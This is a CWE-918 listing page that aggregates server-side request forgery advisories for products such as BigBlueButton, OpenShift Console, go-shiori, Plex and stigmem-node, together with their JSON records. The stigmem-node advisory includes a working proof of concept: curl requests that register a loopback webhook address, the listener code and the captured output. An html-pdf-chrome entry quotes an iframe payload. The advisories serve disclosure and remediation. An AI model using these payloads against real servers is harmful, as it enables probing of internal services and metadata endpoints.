Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6265 vulnerabilities reference this CWE, most recent first.

GHSA-5MRJ-23W8-W7HX

Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31
VLAI
Details

BigBlueButton before 2.2.7 allows remote authenticated users to read local files and conduct SSRF attacks via an uploaded Office document that has a crafted URL in an ODF xlink field.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-25820"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-21T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "BigBlueButton before 2.2.7 allows remote authenticated users to read local files and conduct SSRF attacks via an uploaded Office document that has a crafted URL in an ODF xlink field.",
  "id": "GHSA-5mrj-23w8-w7hx",
  "modified": "2022-05-24T17:31:44Z",
  "published": "2022-05-24T17:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25820"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bigbluebutton/bigbluebutton/commit/71fe1eac1e5bd73a2cd44bd79c001086b250e435"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bigbluebutton/bigbluebutton/compare/v2.2.26...v2.2.27"
    },
    {
      "type": "WEB",
      "url": "https://www.golem.de/news/big-blue-button-das-grosse-blaue-sicherheitsrisiko-2010-151610.html"
    },
    {
      "type": "WEB",
      "url": "https://www.redteam-pentesting.de/advisories/rt-sa-2020-005"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/159667/BigBlueButton-2.2.25-File-Disclosure-Server-Side-Request-Forgery.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5MVJ-M7FW-M49W

Vulnerability from github – Published: 2026-08-11 12:30 – Updated: 2026-09-03 15:32
VLAI
Details

A Server-Side Request Forgery and supply chain flaw was found in the OpenShift Console Helm catalog proxy. A namespace tenant can plant a ProjectHelmChartRepository with an arbitrary URL that the console pod fetches server-side, bypassing tenant egress restrictions. Combined with catalog metadata poisoning and admin-mediated chart installation, this enables privilege escalation.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2026-50237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T12:17:38Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery and supply chain flaw was found in the OpenShift Console Helm catalog proxy. A namespace tenant can plant a ProjectHelmChartRepository with an arbitrary URL that the console pod fetches server-side, bypassing tenant egress restrictions. Combined with catalog metadata poisoning and admin-mediated chart installation, this enables privilege escalation.",
  "id": "GHSA-5mvj-m7fw-m49w",
  "modified": "2026-09-03T15:32:01Z",
  "published": "2026-08-11T12:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50237"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54188"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54206"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54545"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54555"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54583"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54602"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54770"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:56789"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:56854"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:56912"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60023"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-50237"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2484746"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5MX2-758C-CG2X

Vulnerability from github – Published: 2026-08-05 15:32 – Updated: 2026-08-05 15:32
VLAI
Details

go-shiori's DownloadBookmark() (internal/core/download.go) fetches a caller-supplied bookmark URL using a plain http.Client with no custom DialContext or destination-IP validation (no IsLoopback(), IsPrivate(), IsUnspecified(), or IsLinkLocalUnicast() checks). An authenticated user creating or updating a bookmark via POST /api/bookmark, PUT /api/v1/bookmarks/cache, or POST /api/bookmarks/ext can supply a loopback (127.0.0.1) or 0.0.0.0 (which Linux redirects to loopback) URL, causing the server to make outbound requests to internal-only services, cloud metadata endpoints, or other network-restricted resources.

Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-71280"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T13:24:52Z",
    "severity": "HIGH"
  },
  "details": "go-shiori\u0027s DownloadBookmark() (internal/core/download.go) fetches a caller-supplied bookmark URL using a plain http.Client with no custom DialContext or destination-IP validation (no IsLoopback(), IsPrivate(), IsUnspecified(), or IsLinkLocalUnicast() checks). An authenticated user creating or updating a bookmark via POST /api/bookmark, PUT /api/v1/bookmarks/cache, or POST /api/bookmarks/ext can supply a loopback (127.0.0.1) or 0.0.0.0 (which Linux redirects to loopback) URL, causing the server to make outbound requests to internal-only services, cloud metadata endpoints, or other network-restricted resources.",
  "id": "GHSA-5mx2-758c-cg2x",
  "modified": "2026-08-05T15:32:20Z",
  "published": "2026-08-05T15:32:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71280"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-shiori/shiori"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-shiori/shiori/blob/master/internal/core/download.go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5P37-9Q3Q-VH68

Vulnerability from github – Published: 2024-05-14 18:31 – Updated: 2024-07-03 18:41
VLAI
Details

An issue was discovered in linqi before 1.4.0.1 on Windows. There is SSRF via Document template generation; i.e., via remote images in process creation, file inclusion, and PDF document generation via malicious JavaScript.

Severity
5.9 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2024-33864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T16:17:22Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in linqi before 1.4.0.1 on Windows. There is SSRF via Document template generation; i.e., via remote images in process creation, file inclusion, and PDF document generation via malicious JavaScript.",
  "id": "GHSA-5p37-9q3q-vh68",
  "modified": "2024-07-03T18:41:31Z",
  "published": "2024-05-14T18:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33864"
    },
    {
      "type": "WEB",
      "url": "https://linqi.help/Updates/en#/SecurityUpdates"
    },
    {
      "type": "WEB",
      "url": "https://www.linqi.de/de-DE/blog.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5P3M-VHH6-9236

Vulnerability from github – Published: 2026-08-20 18:30 – Updated: 2026-08-20 18:30
VLAI
Summary
stigmem-node has blind SSRF via unvalidated webhook subscription delivery_address
Details

Summary

Stigmem allows an authenticated user to create a webhook subscription with a user-controlled delivery_address. That value is stored and later used directly by the subscription delivery worker as the destination of a server-side HTTP POST request.

The codebase already contains an outbound SSRF guard, assert_safe_url(), which blocks loopback, private, link-local, and metadata-style destinations. However, the subscription webhook delivery path does not appear to apply this guard either when the subscription is created or immediately before delivery.

As a result, an authenticated user can configure a webhook destination such as http://127.0.0.1:9999/ssrf, trigger a matching fact-change event, and cause the Stigmem server to issue a server-side HTTP request to an internal loopback address.

Details

Relevant files:

```text node/src/stigmem_node/routes/subscriptions.py node/src/stigmem_node/subscription_delivery.py node/src/stigmem_node/models/subscriptions.py node/src/stigmem_node/utility/net_util.py

SubscriptionCreateRequest accepts delivery_address as a plain string and validates only that it has a minimum length:

class SubscriptionCreateRequest(BaseModel): target: str = Field(..., min_length=1) on_change: str = Field(...) delivery_address: str = Field(..., min_length=1)

The create route persists this value directly:

conn.execute( """INSERT INTO subscriptions (id, subscriber_identity, target, target_kind, on_change, delivery_address, idempotency_key, created_at, tenant_id) VALUES (?,?,?,?,?,?,?,?,?)""", ( sub_id, identity.entity_uri, req.target, target_kind, req.on_change, req.delivery_address, req.idempotency_key, now, identity.tenant_id, ), )

The delivery worker later sends a server-side request to the stored value:

with httpx.Client(timeout=10.0) as client: resp = client.post( event["delivery_address"], json=body, headers={ "Content-Type": "application/json", "X-Stigmem-Event-Id": event["id"], }, )

The codebase already has an SSRF guard in node/src/stigmem_node/utility/net_util.py:

def assert_safe_url( url: str, *, allow_schemes: frozenset[str] = frozenset({"https"}), ) -> None:

This guard blocks private, loopback, link-local, and metadata-style ranges, including 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.0.0/16.

However, I did not observe assert_safe_url() being called for subscription delivery_address during subscription creation or before webhook delivery.

PoC

Tested against stigmem-node 0.9.0a10.

Start an internal listener on the same host: const http = require("http");

http.createServer((req, res) => { console.log("HIT:", req.method, req.url); console.log("HEADERS:", req.headers);

let body = ""; req.on("data", chunk => body += chunk); req.on("end", () => { console.log("BODY:", body); res.writeHead(200, { "Content-Type": "application/json" }); res.end(JSON.stringify({ ok: true, internal: true })); }); }).listen(9999, "127.0.0.1", () => { console.log("Listening on http://127.0.0.1:9999"); }); Start Stigmem locally: cd node pip install -e . export STIGMEM_DB_PATH="$(pwd)/ssrf-test.db" export STIGMEM_AUTH_REQUIRED=true export STIGMEM_HOST=127.0.0.1 export STIGMEM_PORT=8765 export STIGMEM_SUBSCRIPTION_DELIVERY_SWEEP_S=1 export KEY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa stigmem auth bootstrap-key --key "$KEY" stigmem-node Confirm the service is running: curl -i http://127.0.0.1:8765/healthz

Response:

HTTP/1.1 200 OK {"status":"ok"} Create a webhook subscription whose delivery_address points to loopback: curl -i -X POST "http://127.0.0.1:8765/v1/subscriptions" \ -H "Authorization: Bearer $KEY" \ -H "Content-Type: application/json" \ -d '{ "target": "local", "on_change": "webhook", "delivery_address": "http://127.0.0.1:9999/ssrf", "idempotency_key": "ssrf-test-1" }'

Observed response:

HTTP/1.1 201 Created

The response confirmed that the loopback webhook destination was accepted and stored:

{ "on_change": "webhook", "delivery_address": "http://127.0.0.1:9999/ssrf", "circuit_open": false, "consecutive_failures": 0 } Trigger a matching fact-change event: curl -i -X POST "http://127.0.0.1:8765/v1/facts" \ -H "Authorization: Bearer $KEY" \ -H "Content-Type: application/json" \ -d '{ "entity": "stigmem://test/entity/ssrf", "relation": "test:relation", "value": { "type": "text", "v": "trigger webhook ssrf" }, "source": "stigmem://test/source/researcher", "scope": "local" }' The internal listener receives a server-side request from Stigmem: HIT: POST /ssrf HEADERS: { host: '127.0.0.1:9999', accept: '/', 'accept-encoding': 'gzip, deflate', connection: 'keep-alive', 'user-agent': 'python-httpx/0.28.1', 'content-type': 'application/json', 'x-stigmem-event-id': '', 'content-length': '506' }

The body contained the Stigmem event payload, including the subscription id, entity, relation, value, source, timestamp, and scope.

This confirms that an authenticated user-controlled subscription webhook destination can cause the Stigmem backend to connect to an internal loopback service.

Impact

This creates a blind SSRF primitive from the Stigmem server.

An authenticated user can cause the Stigmem backend to make HTTP POST requests to internal destinations reachable from the server, including loopback services, private network services, and link-local metadata-style endpoints if reachable in the deployment environment.

Potential impact includes:

  • Internal service probing through webhook delivery success/failure behavior
  • Requests to localhost-only admin services
  • Requests to private RFC1918 network services
  • Requests to cloud metadata/link-local endpoints where reachable
  • Persistent SSRF because the malicious webhook destination is stored and retried

Even if the HTTP response body is not returned to the attacker, delivery status, retry behavior, circuit-breaker behavior, and logs may provide an internal reachability oracle.

Suggested remediation

Apply destination validation at both subscription creation time and delivery time.

Recommended changes:

  1. For on_change="webhook", validate delivery_address with assert_safe_url().
  2. Prefer https:// only by default.
  3. If http:// is needed for local development, require an explicit operator-controlled allowlist.
  4. Re-validate immediately before delivery to reduce stale validation and DNS rebinding risk.
  5. Disable redirects or validate every redirect target before following.
  6. Add regression tests proving that localhost, 127.0.0.1, private RFC1918 ranges, and 169.254.169.254 are rejected as webhook destinations.

Example patch pattern:

from stigmem_node.utility.net_util import assert_safe_url

if req.on_change == "webhook": try: assert_safe_url(req.delivery_address, allow_schemes=frozenset({"https"})) except ValueError as exc: raise HTTPException(status_code=400, detail=f"unsafe webhook URL: {exc}") from exc

And before delivery:

try: assert_safe_url(event["delivery_address"], allow_schemes=frozenset({"https"})) except ValueError: mark_delivery_failed(...) return

Before clicking submit, attach screenshot or paste the listener proof in the PoC section. This is the key evidence:

```text HIT: POST /ssrf user-agent: python-httpx/0.28.1 x-stigmem-event-id: ...

Kindly check this out: Eidetic_CVE_Report.pdf

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "stigmem-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0a11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T18:30:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nStigmem allows an authenticated user to create a webhook subscription with a user-controlled `delivery_address`. That value is stored and later used directly by the subscription delivery worker as the destination of a server-side HTTP POST request.\n\nThe codebase already contains an outbound SSRF guard, `assert_safe_url()`, which blocks loopback, private, link-local, and metadata-style destinations. However, the subscription webhook delivery path does not appear to apply this guard either when the subscription is created or immediately before delivery.\n\nAs a result, an authenticated user can configure a webhook destination such as `http://127.0.0.1:9999/ssrf`, trigger a matching fact-change event, and cause the Stigmem server to issue a server-side HTTP request to an internal loopback address.\n\n### Details\n\nRelevant files:\n\n```text\nnode/src/stigmem_node/routes/subscriptions.py\nnode/src/stigmem_node/subscription_delivery.py\nnode/src/stigmem_node/models/subscriptions.py\nnode/src/stigmem_node/utility/net_util.py\n\nSubscriptionCreateRequest accepts delivery_address as a plain string and validates only that it has a minimum length:\n\nclass SubscriptionCreateRequest(BaseModel):\n    target: str = Field(..., min_length=1)\n    on_change: str = Field(...)\n    delivery_address: str = Field(..., min_length=1)\n\nThe create route persists this value directly:\n\nconn.execute(\n    \"\"\"INSERT INTO subscriptions\n       (id, subscriber_identity, target, target_kind, on_change,\n        delivery_address, idempotency_key, created_at, tenant_id)\n       VALUES (?,?,?,?,?,?,?,?,?)\"\"\",\n    (\n        sub_id,\n        identity.entity_uri,\n        req.target,\n        target_kind,\n        req.on_change,\n        req.delivery_address,\n        req.idempotency_key,\n        now,\n        identity.tenant_id,\n    ),\n)\n\nThe delivery worker later sends a server-side request to the stored value:\n\nwith httpx.Client(timeout=10.0) as client:\n    resp = client.post(\n        event[\"delivery_address\"],\n        json=body,\n        headers={\n            \"Content-Type\": \"application/json\",\n            \"X-Stigmem-Event-Id\": event[\"id\"],\n        },\n    )\n\nThe codebase already has an SSRF guard in node/src/stigmem_node/utility/net_util.py:\n\ndef assert_safe_url(\n    url: str,\n    *,\n    allow_schemes: frozenset[str] = frozenset({\"https\"}),\n) -\u003e None:\n\nThis guard blocks private, loopback, link-local, and metadata-style ranges, including 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.0.0/16.\n\nHowever, I did not observe assert_safe_url() being called for subscription delivery_address during subscription creation or before webhook delivery.\n\nPoC\n\nTested against stigmem-node 0.9.0a10.\n\nStart an internal listener on the same host:\nconst http = require(\"http\");\n\nhttp.createServer((req, res) =\u003e {\n  console.log(\"HIT:\", req.method, req.url);\n  console.log(\"HEADERS:\", req.headers);\n\n  let body = \"\";\n  req.on(\"data\", chunk =\u003e body += chunk);\n  req.on(\"end\", () =\u003e {\n    console.log(\"BODY:\", body);\n    res.writeHead(200, { \"Content-Type\": \"application/json\" });\n    res.end(JSON.stringify({ ok: true, internal: true }));\n  });\n}).listen(9999, \"127.0.0.1\", () =\u003e {\n  console.log(\"Listening on http://127.0.0.1:9999\");\n});\nStart Stigmem locally:\ncd node\npip install -e .\nexport STIGMEM_DB_PATH=\"$(pwd)/ssrf-test.db\"\nexport STIGMEM_AUTH_REQUIRED=true\nexport STIGMEM_HOST=127.0.0.1\nexport STIGMEM_PORT=8765\nexport STIGMEM_SUBSCRIPTION_DELIVERY_SWEEP_S=1\nexport KEY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\nstigmem auth bootstrap-key --key \"$KEY\"\nstigmem-node\nConfirm the service is running:\ncurl -i http://127.0.0.1:8765/healthz\n\nResponse:\n\nHTTP/1.1 200 OK\n{\"status\":\"ok\"}\nCreate a webhook subscription whose delivery_address points to loopback:\ncurl -i -X POST \"http://127.0.0.1:8765/v1/subscriptions\" \\\n  -H \"Authorization: Bearer $KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"target\": \"local\",\n    \"on_change\": \"webhook\",\n    \"delivery_address\": \"http://127.0.0.1:9999/ssrf\",\n    \"idempotency_key\": \"ssrf-test-1\"\n  }\u0027\n\nObserved response:\n\nHTTP/1.1 201 Created\n\nThe response confirmed that the loopback webhook destination was accepted and stored:\n\n{\n  \"on_change\": \"webhook\",\n  \"delivery_address\": \"http://127.0.0.1:9999/ssrf\",\n  \"circuit_open\": false,\n  \"consecutive_failures\": 0\n}\nTrigger a matching fact-change event:\ncurl -i -X POST \"http://127.0.0.1:8765/v1/facts\" \\\n  -H \"Authorization: Bearer $KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"entity\": \"stigmem://test/entity/ssrf\",\n    \"relation\": \"test:relation\",\n    \"value\": { \"type\": \"text\", \"v\": \"trigger webhook ssrf\" },\n    \"source\": \"stigmem://test/source/researcher\",\n    \"scope\": \"local\"\n  }\u0027\nThe internal listener receives a server-side request from Stigmem:\nHIT: POST /ssrf\nHEADERS: {\n  host: \u0027127.0.0.1:9999\u0027,\n  accept: \u0027*/*\u0027,\n  \u0027accept-encoding\u0027: \u0027gzip, deflate\u0027,\n  connection: \u0027keep-alive\u0027,\n  \u0027user-agent\u0027: \u0027python-httpx/0.28.1\u0027,\n  \u0027content-type\u0027: \u0027application/json\u0027,\n  \u0027x-stigmem-event-id\u0027: \u0027\u003cevent-id\u003e\u0027,\n  \u0027content-length\u0027: \u0027506\u0027\n}\n\nThe body contained the Stigmem event payload, including the subscription id, entity, relation, value, source, timestamp, and scope.\n\nThis confirms that an authenticated user-controlled subscription webhook destination can cause the Stigmem backend to connect to an internal loopback service.\n\nImpact\n\nThis creates a blind SSRF primitive from the Stigmem server.\n\nAn authenticated user can cause the Stigmem backend to make HTTP POST requests to internal destinations reachable from the server, including loopback services, private network services, and link-local metadata-style endpoints if reachable in the deployment environment.\n\nPotential impact includes:\n\n- Internal service probing through webhook delivery success/failure behavior\n- Requests to localhost-only admin services\n- Requests to private RFC1918 network services\n- Requests to cloud metadata/link-local endpoints where reachable\n- Persistent SSRF because the malicious webhook destination is stored and retried\n\nEven if the HTTP response body is not returned to the attacker, delivery status, retry behavior, circuit-breaker behavior, and logs may provide an internal reachability oracle.\n\nSuggested remediation\n\nApply destination validation at both subscription creation time and delivery time.\n\nRecommended changes:\n\n1. For `on_change=\"webhook\"`, validate `delivery_address` with `assert_safe_url()`.\n2. Prefer `https://` only by default.\n3. If `http://` is needed for local development, require an explicit operator-controlled allowlist.\n4. Re-validate immediately before delivery to reduce stale validation and DNS rebinding risk.\n5. Disable redirects or validate every redirect target before following.\n6. Add regression tests proving that localhost, 127.0.0.1, private RFC1918 ranges, and 169.254.169.254 are rejected as webhook destinations.\n\nExample patch pattern:\n\nfrom stigmem_node.utility.net_util import assert_safe_url\n\nif req.on_change == \"webhook\":\n    try:\n        assert_safe_url(req.delivery_address, allow_schemes=frozenset({\"https\"}))\n    except ValueError as exc:\n        raise HTTPException(status_code=400, detail=f\"unsafe webhook URL: {exc}\") from exc\n\nAnd before delivery:\n\ntry:\n    assert_safe_url(event[\"delivery_address\"], allow_schemes=frozenset({\"https\"}))\nexcept ValueError:\n    mark_delivery_failed(...)\n    return\n\nBefore clicking submit, attach screenshot or paste the listener proof in the PoC section. This is the key evidence:\n\n```text\nHIT: POST /ssrf\nuser-agent: python-httpx/0.28.1\nx-stigmem-event-id: ...\n\nKindly check this out:\n[Eidetic_CVE_Report.pdf](https://github.com/user-attachments/files/28415009/Eidetic_CVE_Report.pdf)",
  "id": "GHSA-5p3m-vhh6-9236",
  "modified": "2026-08-20T18:30:51Z",
  "published": "2026-08-20T18:30:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/security/advisories/GHSA-5p3m-vhh6-9236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/pull/726"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/commit/11637401d50629fef040382aee5af4571842c152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/commit/2ff5be29291d1c042e00d57c5f9ef93650cc90e0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eidetic-labs/stigmem"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eidetic-labs/stigmem/releases/tag/v0.9.0a11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "stigmem-node has blind SSRF via unvalidated webhook subscription delivery_address"
}

GHSA-5P5J-JVXX-4R3V

Vulnerability from github – Published: 2025-06-10 03:30 – Updated: 2025-06-10 03:30
VLAI
Details

Under certain conditions, SAP Business Objects Business Intelligence Platform allows an unauthenticated attacker to enumerate HTTP endpoints in the internal network by specially crafting HTTP requests. This disclosure of information could further enable the researcher to cause SSRF. It has no impact on integrity and availability of the application.

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-42988"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T01:15:22Z",
    "severity": "LOW"
  },
  "details": "Under certain conditions, SAP Business Objects Business Intelligence Platform allows an unauthenticated attacker to enumerate HTTP endpoints in the internal network by specially crafting HTTP requests. This disclosure of information could further enable the researcher to cause SSRF. It has no impact on integrity and availability of the application.",
  "id": "GHSA-5p5j-jvxx-4r3v",
  "modified": "2025-06-10T03:30:29Z",
  "published": "2025-06-10T03:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42988"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3585545"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5P7Q-VJP4-VCRG

Vulnerability from github – Published: 2024-05-22 06:30 – Updated: 2024-08-19 21:35
VLAI
Details

Server-side request forgery (SSRF) vulnerability exists in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.12 and Ver.3.0.x series versions prior to Ver.3.0.32. If this vulnerability is exploited, a user with an administrator or higher privilege who can log in to the product may obtain arbitrary files on the server and information on the internal server that is not disclosed to the public.

Severity
4.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-30420"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-22T05:15:52Z",
    "severity": "MODERATE"
  },
  "details": "Server-side request forgery (SSRF) vulnerability exists in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.12 and Ver.3.0.x series versions prior to Ver.3.0.32. If this vulnerability is exploited, a user with an administrator or higher privilege who can log in to the product may obtain arbitrary files on the server and information on the internal server that is not disclosed to the public.",
  "id": "GHSA-5p7q-vjp4-vcrg",
  "modified": "2024-08-19T21:35:06Z",
  "published": "2024-05-22T06:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30420"
    },
    {
      "type": "WEB",
      "url": "https://developer.a-blogcms.jp/blog/news/JVN-70977403.html"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN70977403"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5P7W-R379-3C2M

Vulnerability from github – Published: 2026-09-23 18:31 – Updated: 2026-09-23 18:31
VLAI
Details

Plex Media Server before 1.43.3.10861 allows SSRF via '/player/timeline'. An attacker using any X-Plex-Token value can include a full URL in the 'protocol' parameter and force the Plex server to POST to the attacker's chosen destination.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-96652"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-23T17:17:23Z",
    "severity": "MODERATE"
  },
  "details": "Plex Media Server before 1.43.3.10861 allows SSRF via \u0027/player/timeline\u0027. An attacker using any X-Plex-Token value can include a full URL in the \u0027protocol\u0027 parameter and force the Plex server to POST to the attacker\u0027s chosen destination.",
  "id": "GHSA-5p7w-r379-3c2m",
  "modified": "2026-09-23T18:31:57Z",
  "published": "2026-09-23T18:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96652"
    },
    {
      "type": "WEB",
      "url": "https://forums.plex.tv/t/plex-media-server/30447/711"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96652"
    },
    {
      "type": "WEB",
      "url": "https://zmain.info/blog/plex2shell"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5P98-WPC9-G498

Vulnerability from github – Published: 2020-09-04 15:21 – Updated: 2022-06-22 19:28
VLAI
Summary
Server-Side Request Forgery in html-pdf-chrome
Details

Recommendation

This package is working as intended. A Security section has been added since v0.6.1 to detail proper usage of this library. Npm has revoked their advisory altogether.

Original Advisory

All versions of html-pdf-chrome are vulnerable to Server-Side Request Forgery (SSRF). The package executes HTTP requests if the parsed HTML contains external references to resources, such as <iframe src="http://localhost" height="800px" width="800px"></iframe>. This allows attackers to access resources through HTTP that are accessible to the server, including private resources in the hosting environment.

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "html-pdf-chrome"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
